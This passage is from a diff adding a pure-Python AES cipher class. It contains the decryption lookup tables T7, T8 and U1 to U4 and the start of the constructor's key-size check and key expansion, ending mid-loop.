+ T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
+ T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
+
+ # Transformations for decryption key expansion
+ U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
+ U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
+ U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
+ U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
+
+ def __init__(self, key):
+
+ if len(key) not in (16, 24, 32):
+ raise ValueError('Invalid key size')
+
+ rounds = self.number_of_rounds[len(key)]
+
+ # Encryption round keys
+ self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
+
+ # Decryption round keys
+ self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
+
+ round_key_count = (rounds + 1) * 4
+ KC = len(key) // 4
+
+ # Convert the key into ints
+ tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
+
+ # Copy values into round key arrays
+ for i in xrange(0, KC):
+ self._Ke[i // 4][i % 4] = tk[i]
+ self._Kd[rounds - (i // 4)][i % 4] = tk[i]
+
+ # Key expansion (fips-197 section 5.2)
+ rconpointer = 0
+ t = KC
+ while t < round_key_count:
+
+ tt = tk[KC - 1]
